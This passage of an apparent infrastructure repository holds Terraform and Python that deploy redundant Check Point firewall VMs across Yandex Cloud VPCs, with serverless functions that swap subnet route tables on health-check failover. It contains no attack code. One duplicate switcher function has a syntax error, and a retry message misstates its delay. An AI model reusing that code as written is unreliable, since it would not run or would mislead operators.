cron_expression = "* * * * ? *"
}
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/functions/checker_function/main.py
================================================
import yaml
import boto3
import time
import requests
import os
import json
sqs_client = boto3.client(
service_name='sqs',
endpoint_url='https://message-queue.api.cloud.yandex.net',
region_name='ru-central1'
)
def get_config(bucket,path,endpoint_url='https://storage.yandexcloud.net'):
'''
gets config in special format from bucket
:param bucket: bucket name
:param path: path of the config yaml file
:param endpoint_url: url of object storeages
:return: config dict
'''
session = boto3.session.Session()
s3_client = session.client(
service_name='s3',
endpoint_url=endpoint_url
)
response = s3_client.get_object(Bucket=bucket, Key=path)
config = yaml.load(response["Body"], Loader=yaml.FullLoader)
return config
def check_router_statuses(config,iam_token):
'''
checks router statuses and fails over if there is a problem. updates config in the end
:param config: config dict
:param iam_token: token for auth
:return: updated config
'''
r = requests.get("https://load-balancer.api.cloud.yandex.net/load-balancer/v1/networkLoadBalancers/%s:getTargetStates?targetGroupId=%s" % (config['loadBalancerId'],config['targetGroupId']), headers={'Authorization': 'Bearer %s' % iam_token})
fullStatus = r.json()['targetStates']
for real in fullStatus:
config['routes_config'][real['address']]['status'] = real['status'] #пишем статус роутера в поле status
for destination, value in config['routes_config'].items():
if value['status'] != 'HEALTHY' and value['active'] == 'primary': # проверяем, что поле статус не равно healthy, и поле active=primary
'''
IF MY PRIMARY ROUTE IS NOT HEALTHY IM FAILING OVER TO SECONDARY
'''
for g1, g2 in config['routes_config'].items():
if g2['status'] == 'HEALTHY' and g2['active'] == 'primary':
subnet_list_to_change_2 = g2['subnets']
route_table_to_change_2 = g2['route_table']['primary']
failover(route_table_to_change_2, subnet_list_to_change_2,iam_token)
subnet_list_to_change = value['subnets']
route_table_to_change = value['route_table']['secondary']
config['routes_config'][destination]['active'] = 'secondary'
print('MY PRIMARY ROUTE to %s IS NOT HEALTHY IM FAILING OVER TO SECONDARY' % destination)
failover(route_table_to_change, subnet_list_to_change,iam_token)
#дополнительно меняем маршрут для subnet-B
elif value['status'] == 'HEALTHY' and value['active'] == 'secondary':
'''
IF MY PRIMARY ROUTE IS HEALTHY AND IM CURRENTLY USING SECONDARY IM FAILING BACK TO PRIMARY
'''
for g1, g2 in config['routes_config'].items():
if g2['status'] == 'HEALTHY' and g2['active'] == 'primary':
subnet_list_to_change_2 = g2['subnets']
route_table_to_change_2 = g2['route_table']['secondary']
failover(route_table_to_change_2, subnet_list_to_change_2,iam_token)
subnet_list_to_change = value['subnets']
route_table_to_change = value['route_table']['primary']
config['routes_config'][destination]['active'] = 'primary'
print('MY PRIMARY ROUTE to %s IS HEALTHY AND IM CURRENTLY USING SECONDARY IM FAILING BACK TO PRIMARY' % destination)
failover(route_table_to_change, subnet_list_to_change, iam_token)
#дополнительно меняем маршрут для subnet-B
else:
print('ROUTE TO %s is FINE' % destination)
return config
def failover(route_table_id,subnet_list,iam_token):
'''
changes route table of subnet list
:param route_tableID: id of the route table
:param iam_token: token for auth
:param subnet_list: subnet list where route table is changed
:return:
'''
queue_url = os.environ.get('YMQ_URL')
for subnet_id in subnet_list:
data = {
'subnet_id': subnet_id,
'route_table_id': route_table_id
}
sqs_client.send_message(
QueueUrl=queue_url,
MessageBody=json.dumps(data),
)
print('Send a request to change subnet %s route table to %s' % (subnet_id,route_table_id))
def put_config(bucket,path,config,endpoint_url='https://storage.yandexcloud.net'):
'''
uploads config file to the bucket
:param bucket: bucket name
:param path: config path in the bucket
:param local_config: local path of config
:param config: configdict
:param endpoint_url: url of the config
:return:
'''
session = boto3.session.Session()
s3_client = session.client(
service_name='s3',
endpoint_url=endpoint_url
)
with open('/tmp/config.yaml', 'w') as outfile:
yaml.dump(config, outfile, default_flow_style=False)
s3_client.upload_file('/tmp/config.yaml', bucket, path)
def handler(event, context):
bucket = os.getenv('BUCKET_NAME')
path = os.getenv('CONFIG_PATH')
iam_token = context.token['access_token']
config = get_config(bucket, path)
config = check_router_statuses(config, iam_token)
put_config(bucket, path , config)
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/functions/checker_function/requirements.txt
================================================
botocore
boto3
PyYAML
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/functions/switcher_function/main.py
================================================
import yaml
import boto3
import time
import requests
import os
import json
client = boto3.client(
service_name='sqs',
endpoint_url='https://message-queue.api.cloud.yandex.net',
region_name='ru-central1'
)
def failover(route_table_id,subnet_id,iam_token):
'''
changes route table of subnet list
:param route_table_id: id of the route table
:param iam_token: token for auth
:param subnet_id: subnet where route table is changed
:return:
'''
queue_url = os.environ.get('YMQ_URL')
print('failing over route table %s for subnets %s' % (route_table_id,subnet_id))
retry_rt_switch_operation("",subnet_id,iam_token)
retry_rt_switch_operation(route_table_id,subnet_id,iam_token)
def retry_rt_switch_operation(route_table_id,subnet_id, iam_token,num_tries = 10):
'''
retries yandex cloud operation num_tries times
'''
for num in range(num_tries):
r = requests.patch('https://vpc.api.cloud.yandex.net/vpc/v1/subnets/%s' % subnet_id, json={"updateMask": "routeTableId", "routeTableId": route_table_id } ,headers={'Authorization': 'Bearer %s' % iam_token})
operation_id = r.json()['id']
operation_status = check_operation(operation_id,iam_token)
if operation_status == 'ok':
print('Operation %s was successfull' % (operation_id))
break
else:
print('Operation %s was unsuccessfull retrying in 10 seconds...' % (operation_id))
time.sleep(1)
def check_operation(operation_id,iam_token):
'''
waits for operation to complete
:param operationID: id of the operation
:param iamToken: token for auth
:return: nothing - just stops when operation completes
'''
while True:
r = requests.get('https://operation.api.cloud.yandex.net/operations/%s' % operation_id, headers={'Authorization': 'Bearer %s' % iam_token})
operationStatus = r.json()['done']
if 'error' in r.json():
status = 'error'
break
if operationStatus == True:
print('Operation %s is done' % operation_id)
status = 'ok'
break
time.sleep(1)
return status
def handler(event, context):
iam_token = context.token['access_token']
for msg in event['messages']:
object_data = json.loads(msg['details']['message']['body'])
print(object_data)
subnet_id = object_data['subnet_id']
route_table_id = object_data['route_table_id']
failover(route_table_id,subnet_id,iam_token)
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/functions/switcher_function/requirements.txt
================================================
botocore
boto3
PyYAML
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/main.tf
================================================
resource "yandex_resourcemanager_folder_iam_member" "route_switcher_sa_roles" {
count = length(var.route_switcher_sa_roles)
folder_id = var.folder_id
role = var.route_switcher_sa_roles[count.index]
member = "serviceAccount:${var.sa_id}"
}
resource "yandex_message_queue" "route_switcher_queue" {
depends_on = [
yandex_resourcemanager_folder_iam_member.route_switcher_sa_roles
]
access_key = var.access_key
secret_key = var.secret_key
name = "route-switcher-queue-${var.vpc_id}"
visibility_timeout_seconds = 600
receive_wait_time_seconds = 20
message_retention_seconds = 1209600
}
resource "yandex_storage_object" "route_switcher_config" {
depends_on = [
yandex_message_queue.route_switcher_queue
]
bucket = var.bucket_id
access_key = var.access_key
secret_key = var.secret_key
key = "config-${var.vpc_id}.yaml"
content = templatefile("${path.module}/templates/route.switcher.tpl.yaml",
{
load_balancer_id = var.load_balancer_id
target_group_id = var.target_group_id
first_router_address = var.first_router_address
first_az_rt = var.first_az_rt
first_az_subnet_list = var.first_az_subnet_list
second_router_address = var.second_router_address
second_az_rt = var.second_az_rt
second_az_subnet_list = var.second_az_subnet_list
}
)
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/switcher_function/main.py
================================================
import yaml
import boto3
import time
import requests
import os
import json
client = boto3.client(
service_name='sqs',
endpoint_url='https://message-queue.api.cloud.yandex.net',
region_name='ru-central1'
)
def failover(route_table_id,subnet_id,iam_token):
'''
changes route table of subnet list
:param route_table_id: id of the route table
:param iam_token: token for auth
:param subnet_id: subnet where route table is changed
:return:
'''
queue_url = os.environ.get('YMQ_URL')
print('failing over route table %s for subnets %s' % (route_table_id,subnet_id)
r = requests.patch('https://vpc.api.cloud.yandex.net/vpc/v1/subnets/%s' % subnet_id, json={"updateMask": "routeTableId", "routeTableId": "" } ,headers={'Authorization': 'Bearer %s' % iam_token})
operation_id = r.json()['id']
check_operation(operation_id,iam_token)
r = requests.patch('https://vpc.api.cloud.yandex.net/vpc/v1/subnets/%s' % subnet_id, json={"updateMask": "routeTableId", "routeTableId": route_table_id } ,headers={'Authorization': 'Bearer %s' % iam_token})
operation_id = r.json()['id']
check_operation(operation_id,iam_token)
def check_operation(operation_id,iam_token):
'''
waits for operation to complete
:param operationID: id of the operation
:param iamToken: token for auth
:return: nothing - just stops when operation completes
'''
while True:
r = requests.get('https://operation.api.cloud.yandex.net/operations/%s' % operation_id, headers={'Authorization': 'Bearer %s' % iam_token})
operationStatus = r.json()['done']
if operationStatus == True:
print('Operation %s is done' % operation_id)
break
time.sleep(1)
def handler(event, context):
iam_token = context.token['access_token']
for msg in event['messages']:
object_data = json.loads(msg['details']['message']['body'])
print(object_data)
subnet_id = object_data['subnet_id']
route_table_id = object_data['route_table_id']
failover(route_table_id,subnet_id,iam_token)
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/switcher_function/requirements.txt
================================================
botocore
boto3
PyYAML
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/switcher_function.tf
================================================
data "archive_file" "switcher_function" {
type = "zip"
source_dir = "${path.module}/functions/switcher_function/"
output_path = "${path.module}/switcher_function.zip"
}
resource "yandex_function" "switcher_function" {
folder_id = var.folder_id
name = "route-switcher-for-${var.vpc_id}"
runtime = "python38"
entrypoint = "main.handler"
memory = "128"
execution_timeout = "600"
service_account_id = var.sa_id
environment = {
BUCKET_NAME = var.bucket_id
CONFIG_PATH = "config-${var.vpc_id}.yaml"
YMQ_URL = yandex_message_queue.route_switcher_queue.id
}
user_hash = data.archive_file.switcher_function.output_base64sha256
content {
zip_filename = data.archive_file.switcher_function.output_path
}
}
resource "yandex_function_trigger" "switcher_function_trigger" {
folder_id = var.folder_id
name = "switcher-function-${var.vpc_id}"
function {
id = yandex_function.switcher_function.id
service_account_id = var.sa_id
}
message_queue {
queue_id = yandex_message_queue.route_switcher_queue.arn
service_account_id = var.sa_id
batch_cutoff = 1
batch_size = 1
}
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/templates/route.switcher.tpl.yaml
================================================
loadBalancerId: ${load_balancer_id}
targetGroupId: ${target_group_id}
routes_config:
${first_router_address}:
active: primary
route_table:
primary: ${first_az_rt}
secondary: ${second_az_rt}
subnets:
%{ for subnet_id in first_az_subnet_list ~}
- ${subnet_id}
%{ endfor ~}
${second_router_address}:
active: primary
route_table:
primary: ${second_az_rt}
secondary: ${first_az_rt}
subnets:
%{ for subnet_id in second_az_subnet_list ~}
- ${subnet_id}
%{ endfor ~}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/variables.tf
================================================
variable "sa_id" {
}
variable "target_group_id" {
}
variable "folder_id" {
}
variable "load_balancer_id" {
}
variable "vpc_id" {
}
variable "bucket_id" {
}
variable "access_key" {
}
variable "secret_key" {
}
variable "route_switcher_sa_roles" {
default = ["vpc.privateAdmin", "serverless.functions.invoker", "storage.uploader","ymq.admin"]
}
variable "first_router_address" {
}
variable "first_az_rt" {
}
variable "first_az_subnet_list" {
}
variable "second_router_address" {
}
variable "second_az_rt" {
}
variable "second_az_subnet_list" {
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/versions.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.5"
}
}
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/network.tf
================================================
//Create static routes for servers vpc
resource "yandex_vpc_route_table" "servers" {
folder_id = yandex_resourcemanager_folder.folder1.id
network_id = yandex_vpc_network.vpc_name_1.id
name = "servers"
static_route {
destination_prefix = "0.0.0.0/0"
next_hop_address = "${cidrhost(var.subnet-a_vpc_1, 10)}"
}
}
resource "yandex_vpc_route_table" "servers-backup" {
folder_id = yandex_resourcemanager_folder.folder1.id
network_id = yandex_vpc_network.vpc_name_1.id
name = "servers-backup"
static_route {
destination_prefix = "0.0.0.0/0"
next_hop_address = "${cidrhost(var.subnet-b_vpc_1, 10)}"
}
}
//Create static routes for database vpc
resource "yandex_vpc_route_table" "database" {
folder_id = yandex_resourcemanager_folder.folder2.id
network_id = yandex_vpc_network.vpc_name_2.id
name = "database"
static_route {
destination_prefix = "0.0.0.0/0"
next_hop_address = "${cidrhost(var.subnet-a_vpc_2, 10)}"
}
}
resource "yandex_vpc_route_table" "database-backup" {
folder_id = yandex_resourcemanager_folder.folder2.id
network_id = yandex_vpc_network.vpc_name_2.id
name = "database-backup"
static_route {
destination_prefix = "0.0.0.0/0"
next_hop_address = "${cidrhost(var.subnet-b_vpc_2, 10)}"
}
}
//Create networks-------------------
//VPC-1
resource "yandex_vpc_network" "vpc_name_1" {
name = var.vpc_name_1
folder_id = yandex_resourcemanager_folder.folder1.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_1" {
folder_id = yandex_resourcemanager_folder.folder1.id
name = var.subnet-a_vpc_1
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_1.id
v4_cidr_blocks = [var.subnet-a_vpc_1]
route_table_id = yandex_vpc_route_table.servers.id
}
resource "yandex_vpc_subnet" "subnet-b_vpc_1" {
folder_id = yandex_resourcemanager_folder.folder1.id
name = var.subnet-b_vpc_1
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_1.id
v4_cidr_blocks = [var.subnet-b_vpc_1]
route_table_id = yandex_vpc_route_table.servers.id
}
//VPC-2
resource "yandex_vpc_network" "vpc_name_2" {
name = var.vpc_name_2
folder_id = yandex_resourcemanager_folder.folder2.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_2" {
folder_id = yandex_resourcemanager_folder.folder2.id
name = var.subnet-a_vpc_2
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_2.id
v4_cidr_blocks = [var.subnet-a_vpc_2]
route_table_id = yandex_vpc_route_table.database.id
}
resource "yandex_vpc_subnet" "subnet-b_vpc_2" {
folder_id = yandex_resourcemanager_folder.folder2.id
name = var.subnet-b_vpc_2
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_2.id
v4_cidr_blocks = [var.subnet-b_vpc_2]
route_table_id = yandex_vpc_route_table.database.id
}
//VPC-3
resource "yandex_vpc_network" "vpc_name_3" {
name = var.vpc_name_3
folder_id = yandex_resourcemanager_folder.folder3.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_3" {
folder_id = yandex_resourcemanager_folder.folder3.id
name = var.subnet-a_vpc_3
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_3.id
v4_cidr_blocks = [var.subnet-a_vpc_3]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_3" {
folder_id = yandex_resourcemanager_folder.folder3.id
name = var.subnet-b_vpc_3
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_3.id
v4_cidr_blocks = [var.subnet-b_vpc_3]
}
//VPC-4
resource "yandex_vpc_network" "vpc_name_4" {
name = var.vpc_name_4
folder_id = yandex_resourcemanager_folder.folder4.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_4" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = var.subnet-a_vpc_4
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_4.id
v4_cidr_blocks = [var.subnet-a_vpc_4]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_4" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = var.subnet-b_vpc_4
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_4.id
v4_cidr_blocks = [var.subnet-b_vpc_4]
}
//VPC-5
resource "yandex_vpc_network" "vpc_name_5" {
name = var.vpc_name_5
folder_id = yandex_resourcemanager_folder.folder5.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_5" {
folder_id = yandex_resourcemanager_folder.folder5.id
name = var.subnet-a_vpc_5
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_5.id
v4_cidr_blocks = [var.subnet-a_vpc_5]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_5" {
folder_id = yandex_resourcemanager_folder.folder5.id
name = var.subnet-b_vpc_5
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_5.id
v4_cidr_blocks = [var.subnet-b_vpc_5]
}
//VPC-6
resource "yandex_vpc_network" "vpc_name_6" {
name = var.vpc_name_6
folder_id = yandex_resourcemanager_folder.folder6.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_6" {
folder_id = yandex_resourcemanager_folder.folder6.id
name = var.subnet-a_vpc_6
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_6.id
v4_cidr_blocks = [var.subnet-a_vpc_6]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_6" {
folder_id = yandex_resourcemanager_folder.folder6.id
name = var.subnet-b_vpc_6
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_6.id
v4_cidr_blocks = [var.subnet-b_vpc_6]
}
//VPC-7
resource "yandex_vpc_network" "vpc_name_7" {
name = var.vpc_name_7
folder_id = yandex_resourcemanager_folder.folder7.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_7" {
folder_id = yandex_resourcemanager_folder.folder7.id
name = var.subnet-a_vpc_7
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_7.id
v4_cidr_blocks = [var.subnet-a_vpc_7]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_7" {
folder_id = yandex_resourcemanager_folder.folder7.id
name = var.subnet-b_vpc_7
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_7.id
v4_cidr_blocks = [var.subnet-b_vpc_7]
}
//VPC-8
resource "yandex_vpc_network" "vpc_name_8" {
name = var.vpc_name_8
folder_id = yandex_resourcemanager_folder.folder8.id
}
resource "yandex_vpc_subnet" "subnet-a_vpc_8" {
folder_id = yandex_resourcemanager_folder.folder8.id
name = var.subnet-a_vpc_8
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc_name_8.id
v4_cidr_blocks = [var.subnet-a_vpc_8]
}
resource "yandex_vpc_subnet" "subnet-b_vpc_8" {
folder_id = yandex_resourcemanager_folder.folder8.id
name = var.subnet-b_vpc_8
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc_name_8.id
v4_cidr_blocks = [var.subnet-b_vpc_8]
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/provider.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.60"
}
}
}
provider "yandex" {
#or you can use: token = var.token (oauth token)
service_account_key_file = "./key.json"
cloud_id = var.cloud_id
#folder_id = var.folder_id
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/route-switcher.tf
================================================
module "route_switcher_infra" {
source = "./modules/multi-vpc-infra/"
folder_id = yandex_resourcemanager_folder.folder4.id
# usually a management subnet. used for healthkeaking status of the appliance
first_router_subnet = yandex_vpc_subnet.subnet-a_vpc_4.id # !!заменить здесь на mgmt
first_router_address = "${cidrhost(var.subnet-a_vpc_4, 10)}"
second_router_subnet = yandex_vpc_subnet.subnet-b_vpc_4.id
second_router_address = "${cidrhost(var.subnet-b_vpc_4, 10)}"
}
module "network_a_protected" {
source = "./modules/multi-vpc-protected-network/"
#values below should be used the same in different protected networks
sa_id = module.route_switcher_infra.sa_id
load_balancer_id = module.route_switcher_infra.load_balancer_id
target_group_id = module.route_switcher_infra.target_group_id
bucket_id = module.route_switcher_infra.bucket_id
access_key = module.route_switcher_infra.access_key
secret_key = module.route_switcher_infra.secret_key
first_router_address = module.route_switcher_infra.first_router_address
second_router_address = module.route_switcher_infra.second_router_address
#values below will change in different folders if network are located in different folders
folder_id = yandex_resourcemanager_folder.folder1.id
#values below will change in different networks
vpc_id = yandex_vpc_network.vpc_name_1.id
# first_az_rt is usually an active rt in first az , but back become backup if second_az appliace fails
first_az_rt = yandex_vpc_route_table.servers.id
first_az_subnet_list = [yandex_vpc_subnet.subnet-a_vpc_1.id]
# second_az_rt is usually an active rt in second az , but back become backup if first_az appliace fails
second_az_rt = yandex_vpc_route_table.servers-backup.id
second_az_subnet_list = [yandex_vpc_subnet.subnet-b_vpc_1.id]
}
module "network_b_protected" {
#values below will change in different networks
source = "./modules//multi-vpc-protected-network/"
#values below should be used the same in different protected networks
sa_id = module.route_switcher_infra.sa_id
load_balancer_id = module.route_switcher_infra.load_balancer_id
target_group_id = module.route_switcher_infra.target_group_id
bucket_id = module.route_switcher_infra.bucket_id
access_key = module.route_switcher_infra.access_key
secret_key = module.route_switcher_infra.secret_key
first_router_address = module.route_switcher_infra.first_router_address
second_router_address = module.route_switcher_infra.second_router_address
#values below will change in different folders if network are located in different folders
folder_id = yandex_resourcemanager_folder.folder2.id
#values below will change in different networks
vpc_id = yandex_vpc_network.vpc_name_2.id
# first_az_rt is usually an active rt in first az , but back become backup if second_az appliace fails
first_az_rt = yandex_vpc_route_table.database.id
first_az_subnet_list = [yandex_vpc_subnet.subnet-a_vpc_2.id]
# second_az_rt is usually an active rt in second az , but back become backup if first_az appliace fails
second_az_rt = yandex_vpc_route_table.database-backup.id
second_az_subnet_list = [yandex_vpc_subnet.subnet-b_vpc_2.id]
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/variables.tf
================================================
//-------------For terrafrom
variable "cloud_id" {
default = "b1ga4gj7agij03ln6aov" #yc config get cloud-id
}
//------------VPC List
//--VPC 1
variable "vpc_name_1" {
default = "servers" #choose your name for vpc-1
}
variable "subnet-a_vpc_1" {
default = "10.160.1.0/24" #change if you need
}
variable "subnet-b_vpc_1" {
default = "10.160.2.0/24" #change if you need
}
//--VPC 2
variable "vpc_name_2" {
default = "database" #choose your name for vpc-2
}
variable "subnet-a_vpc_2" {
default = "10.161.1.0/24" #change if you need
}
variable "subnet-b_vpc_2" {
default = "10.161.2.0/24" #change if you need
}
//--VPC 3
variable "vpc_name_3" {
default = "public" #choose your name for vpc-transit
}
variable "subnet-a_vpc_3" {
default = "172.16.1.0/24" #change if you need
}
variable "subnet-b_vpc_3" {
default = "172.16.2.0/24" #change if you need
}
//--VPC 4
variable "vpc_name_4" {
default = "mgmt" #choose your name for mgmt
}
variable "subnet-a_vpc_4" {
default = "192.168.1.0/24" #change if you need
}
variable "subnet-b_vpc_4" {
default = "192.168.2.0/24" #change if you need
}
//-----------Fake VPC List (for the future because of limit "cant add interfaces after vm creation")
variable "vpc_name_5" {
default = "vpc5" #choose your name for vpc
}
variable "subnet-a_vpc_5" {
default = "10.5.1.0/24" #change if you need
}
variable "subnet-b_vpc_5" {
default = "10.5.2.0/24" #change if you need
}
//--
variable "vpc_name_6" {
default = "vpc6" #choose your name for vpc
}
variable "subnet-a_vpc_6" {
default = "10.6.1.0/24" #change if you need
}
variable "subnet-b_vpc_6" {
default = "10.6.2.0/24" #change if you need
}
//--
variable "vpc_name_7" {
default = "vpc7" #choose your name for vpc
}
variable "subnet-a_vpc_7" {
default = "10.7.1.0/24" #change if you need
}
variable "subnet-b_vpc_7" {
default = "10.7.2.0/24" #change if you need
}
//--
variable "vpc_name_8" {
default = "vpc8" #choose your name for vpc
}
variable "subnet-a_vpc_8" {
default = "10.8.1.0/24" #change if you need
}
variable "subnet-b_vpc_8" {
default = "10.8.2.0/24" #change if you need
}
//--
================================================
FILE: network-sec/checkpoint-2VM_active-passive/vms.tf
================================================
//Create passwords (change this after first login)
resource "random_password" "pass-sms" {
count = 1
length = 10
special = false
}
resource "random_password" "pass-sic" {
count = 1
length = 13
special = false
}
resource "random_password" "pass-win" {
count = 1
length = 20
special = true
}
//Create ssh keys
resource "tls_private_key" "ssh" {
algorithm = "RSA"
rsa_bits = "2048"
}
resource "local_file" "private_key" {
content = tls_private_key.ssh.private_key_pem
filename = "pt_key.pem"
file_permission = "0600"
}
//Rnder cloud_init_files
data "template_file" "cloud_init_sms" {
template = file("./check-init-sms.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
pass = "${random_password.pass-sms[0].result}"
}
}
data "template_file" "cloud_init_gw-a" {
template = file("./check-init_gw-a.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
pass_sic = "${random_password.pass-sic[0].result}"
dst-1 = "${replace(var.subnet-a_vpc_1, "1.0/24", "0.0/16")}"
next-hop-1 = "${cidrhost(var.subnet-a_vpc_1, 1)}"
dst-2 = "${replace(var.subnet-a_vpc_2, "1.0/24", "0.0/16")}"
next-hop-2 = "${cidrhost(var.subnet-a_vpc_2, 1)}"
gw = "${cidrhost(var.subnet-a_vpc_3, 1)}"
dst-3 = "198.18.235.0/24"
next-hop-3 = "${cidrhost(var.subnet-a_vpc_4, 1)}"
dst-4 = "198.18.248.0/24"
next-hop-4 = "${cidrhost(var.subnet-a_vpc_4, 1)}"
}
}
data "template_file" "cloud_init_gw-b" {
template = file("./check-init_gw-b.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
pass_sic = "${random_password.pass-sic[0].result}"
dst-1 = "${replace(var.subnet-a_vpc_2, "1.0/24", "0.0/16")}"
next-hop-1 = "${cidrhost(var.subnet-b_vpc_2, 1)}"
dst-2 = var.subnet-a_vpc_4
next-hop-2 = "${cidrhost(var.subnet-b_vpc_4, 1)}"
dst-3 = "${replace(var.subnet-a_vpc_1, "1.0/24", "0.0/16")}"
next-hop-3 = "${cidrhost(var.subnet-b_vpc_1, 1)}"
gw = "${cidrhost(var.subnet-b_vpc_3, 1)}"
dst-4 = "198.18.235.0/24"
next-hop-4 = "${cidrhost(var.subnet-b_vpc_4, 1)}"
dst-5 = "198.18.248.0/24"
next-hop-5 = "${cidrhost(var.subnet-b_vpc_4, 1)}"
}
}
data "template_file" "cloud_init_win" {
template = file("./cloud-init_win.tpl.yaml")
vars = {
pass-win = "${random_password.pass-win[0].result}"
}
}
//Create checkpoint-a(FW-A)
resource "yandex_compute_instance" "fw-a" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = "fw-a"
zone = "ru-central1-a"
hostname = "fw-a"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8lv3k0bcm4a5v49mff"
type = "network-ssd"
size = 120
}
}
network_interface {
//mgmt-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_4.id
ip_address = "${cidrhost(var.subnet-a_vpc_4, 10)}"
nat = false
}
network_interface {
//transit-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_3.id
ip_address = "${cidrhost(var.subnet-a_vpc_3, 10)}"
nat = true
}
network_interface {
//servers-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_1.id
ip_address = "${cidrhost(var.subnet-a_vpc_1, 10)}"
nat = false
}
network_interface {
//database-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_2.id
ip_address = "${cidrhost(var.subnet-a_vpc_2, 10)}"
nat = false
}
network_interface {
//vpc5-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_5.id
ip_address = "${cidrhost(var.subnet-a_vpc_5, 10)}"
nat = false
}
network_interface {
//vpc6-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_6.id
ip_address = "${cidrhost(var.subnet-a_vpc_6, 10)}"
nat = false
}
network_interface {
//vpc7-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_7.id
ip_address = "${cidrhost(var.subnet-a_vpc_7, 10)}"
nat = false
}
network_interface {
//vpc8-int
subnet_id = yandex_vpc_subnet.subnet-a_vpc_8.id
ip_address = "${cidrhost(var.subnet-a_vpc_8, 10)}"
nat = false
}
metadata = {
user-data = "${data.template_file.cloud_init_gw-a.rendered}"
serial-port-enable = 1
}
}
//------------------------------------------------------------------------------------------------
//Create checkpoint-a(FW-B)
resource "yandex_compute_instance" "fw-b" {
folder_id = yandex_resourcemanager_folder.folder4.id
name = "fw-b"
zone = "ru-central1-b"
hostname = "fw-b"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8lv3k0bcm4a5v49mff"
type = "network-ssd"
size = 120
}
}
network_interface {
//mgmt-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_4.id
ip_address = "${cidrhost(var.subnet-b_vpc_4, 10)}"
nat = false
}
network_interface {
//transit-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_3.id
ip_address = "${cidrhost(var.subnet-b_vpc_3, 10)}"
nat = true
}
network_interface {
//servers-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_1.id
ip_address = "${cidrhost(var.subnet-b_vpc_1, 10)}"
nat = false
}
network_interface {
//database-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_2.id
ip_address = "${cidrhost(var.subnet-b_vpc_2, 10)}"
nat = false
}
network_interface {
//vpc5-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_5.id
ip_address = "${cidrhost(var.subnet-b_vpc_5, 10)}"
nat = false
}
network_interface {
//vpc6-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_6.id
ip_address = "${cidrhost(var.subnet-b_vpc_6, 10)}"
nat = false
}
network_interface {
//vpc7-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_7.id
ip_address = "${cidrhost(var.subnet-b_vpc_7, 10)}"
nat = false
}
network_interface {
//vpc8-int
subnet_id = yandex_vpc_subnet.subnet-b_vpc_8.id
ip_address = "${cidrhost(var.subnet-b_vpc_8, 10)}"
nat = false
}
metadata = {
user-data = "${data.template_file.cloud_init_gw-b.rendered}"
serial-port-enable = 1
}
}
